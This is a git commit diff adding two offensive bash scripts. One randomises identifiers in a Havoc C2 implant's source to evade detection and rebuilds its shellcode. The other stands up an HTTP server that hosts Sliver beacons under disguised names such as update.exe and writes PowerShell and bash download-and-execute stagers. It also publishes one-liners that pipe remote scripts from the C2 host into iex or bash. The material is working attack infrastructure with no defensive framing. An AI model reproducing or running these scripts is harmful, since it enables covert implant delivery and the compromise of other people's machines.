fixing old sliver stuff

2025-04-22 22:17:45 -04:00
parent 9a213420f6
commit 100982f784
6 changed files with 102 additions and 121 deletions
@@ -0,0 +1,76 @@
+#!/bin/bash
+
+# === CONFIG ===
+IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
+SRC_DIR="$IMPLANT_DIR/src"
+BUILD_ROOT="$HOME/Tools/Havoc"
+OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
+BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
+TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
+
+# === COLORS ===
+YELLOW='\033[1;33m'
+GREEN='\033[1;32m'
+NC='\033[0m'
+
+echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
+
+# === 1. Backup Previous Shellcode ===
+mkdir -p "$BACKUP_DIR"
+if [[ -f "$OUTPUT_FILE" ]]; then
+    cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
+    echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
+else
+    echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
+fi
+
+# === 2. Generate Random Identifiers ===
+random_str() {
+    tr -dc A-Za-z0-9 </dev/urandom | head -c 12
+}
+
+UA=$(random_str)
+URI=$(random_str)
+PIPE=$(random_str)
+MUTEX=$(random_str)
+
+# === 3. Mutate TransportHttp.c ===
+THTTP="$SRC_DIR/core/TransportHttp.c"
+if [[ -f "$THTTP" ]]; then
+    sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
+    sed -i "s|/stage|/${URI}|g" "$THTTP"
+    echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
+else
+    echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
+fi
+
+# === 4. Mutate Named Pipe and Mutex ===
+TARGET_FILE=""
+for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
+    if [[ -f "$f" ]]; then
+        TARGET_FILE="$f"
+        break
+    fi
+done
+
+if [[ -n "$TARGET_FILE" ]]; then
+    sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
+    sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
+    echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
+    echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
+else
+    echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
+fi
+
+# === 5. Rebuild Implant via Top-Level Makefile ===
+echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
+cd "$BUILD_ROOT" || exit 1
+make clean && make
+
+# === 6. Confirm Shellcode Output ===
+if [[ -f "$OUTPUT_FILE" ]]; then
+    echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
+else
+    echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
+    exit 1
+fi
@@ -0,0 +1,197 @@
+#!/bin/bash
+# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
+
+# Configuration
+BEACONS_DIR="/root/Tools/beacons"
+C2_HOST="{{ ansible_host }}"
+LISTEN_PORT=8443
+
+# Check if manifest file exists (created by generate_evasive_beacons.sh)
+if [ -f "$BEACONS_DIR/manifest.json" ]; then
+    echo "[+] Found beacon manifest file - using Sliver beacons generated previously"
+    # Extract beacon paths from manifest
+    WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json")
+    WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json")
+    LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json")
+    MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json")
+    WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json")
+    
+    # Print beacon info
+    echo "[+] Using these Sliver beacons:"
+    echo "    - Windows EXE: $WIN_EXE"
+    echo "    - Windows DLL: $WIN_DLL"
+    echo "    - Linux Binary: $LINUX_BIN"
+    echo "    - macOS Binary: $MAC_BIN"
+    echo "    - Windows Stager: $WIN_STAGER"
+else
+    echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first."
+    echo "[!] Will search for beacons in $BEACONS_DIR..."
+    
+    # Try to find beacons directly
+    WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1)
+    WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1)
+    LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1)
+    MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1)
+    WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1)
+    
+    # Check if we found any beacons
+    if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
+        echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first."
+        exit 1
+    fi
+fi
+
+# Create temporary directory for web server
+TEMP_DIR=$(mktemp -d)
+mkdir -p $TEMP_DIR/downloads
+mkdir -p $TEMP_DIR/scripts
+
+# Copy beacons to web directory with generic names
+if [ -n "$WIN_EXE" ]; then
+    cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe
+    echo "[+] Serving Windows EXE: $WIN_EXE"
+fi
+
+if [ -n "$WIN_DLL" ]; then
+    cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll
+    echo "[+] Serving Windows DLL: $WIN_DLL"
+fi
+
+if [ -n "$LINUX_BIN" ]; then
+    cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux
+    echo "[+] Serving Linux Binary: $LINUX_BIN"
+fi
+
+if [ -n "$MAC_BIN" ]; then
+    cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac
+    echo "[+] Serving macOS Binary: $MAC_BIN"
+fi
+
+if [ -n "$WIN_STAGER" ]; then
+    cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe
+    echo "[+] Serving Windows Stager: $WIN_STAGER"
+fi
+
+# Copy loader scripts if they exist
+if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then
+    cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/
+    echo "[+] Serving Windows PowerShell loader"
+fi
+
+if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then
+    cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/
+    echo "[+] Serving Linux bash loader"
+fi
+
+# Create additional PowerShell downloader script
+cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS'
+# PowerShell downloader for Sliver beacons
+$ErrorActionPreference = 'SilentlyContinue'
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+
+# Random temporary file
+$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe")
+
+# Download and execute
+try {
+    $webClient = New-Object System.Net.WebClient
+    $webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
+    $webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile)
+    Start-Process -WindowStyle Hidden $tempFile
+    "Successfully downloaded and executed update."
+} catch {
+    "Error during update process."
+}
+EOFPS
+
+# Replace placeholders
+sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1
+sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1
+
+# Create Linux bash download script
+cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH'
+#!/bin/bash
+# Linux download and execute Sliver beacon
+
+# Download binary to /tmp with random name
+TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
+curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux
+chmod +x $TMPFILE
+
+# Execute in background
+$TMPFILE &
+
+echo "Update complete."
+EOFSH
+
+# Replace placeholders
+sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh
+sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh
+chmod +x $TEMP_DIR/scripts/beacon.sh
+
+# Create helpful index page
+cat > $TEMP_DIR/index.html << EOL
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Sliver Beacon Downloads</title>
+    <style>
+        body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
+        h1 { color: #333; }
+        .section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
+        .warning { color: #a00; font-weight: bold; }
+        code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
+    </style>
+</head>
+<body>
+    <h1>Sliver Beacon Downloads</h1>
+    <div class="section">
+        <h2>Available Beacons</h2>
+        <ul>
+            <li><a href="/downloads/update.exe">Windows Beacon</a></li>
+            <li><a href="/downloads/module.dll">Windows DLL Beacon</a></li>
+            <li><a href="/downloads/update-linux">Linux Beacon</a></li>
+            <li><a href="/downloads/update-mac">macOS Beacon</a></li>
+            <li><a href="/downloads/stager.exe">Windows Stager</a></li>
+        </ul>
+    </div>
+    <div class="section">
+        <h2>Auto-Download Scripts</h2>
+        <ul>
+            <li><a href="/scripts/beacon.ps1">Windows PowerShell Downloader</a></li>
+            <li><a href="/scripts/beacon.sh">Linux Bash Downloader</a></li>
+            <li><a href="/scripts/windows_loader.ps1">PowerShell C2 Loader</a></li>
+            <li><a href="/scripts/linux_loader.sh">Bash C2 Loader</a></li>
+        </ul>
+    </div>
+    <div class="section">
+        <h2>Quick Commands</h2>
+        <p>Windows PowerShell:</p>
+        <code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"</code>
+        <p>Linux Bash:</p>
+        <code>curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash</code>
+    </div>
+</body>
+</html>
+EOL
+
+# Start Python HTTP server in background
+cd $TEMP_DIR
+nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
+SERVER_PID=$!
+echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
+
+# Print useful information for the operator
+echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/"
+echo "[+] Available Sliver beacons:"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)"
+echo ""
+echo "[+] Quick PowerShell download command:"
+echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\""
+echo ""
+echo "[+] Quick Linux download command:"
+echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash"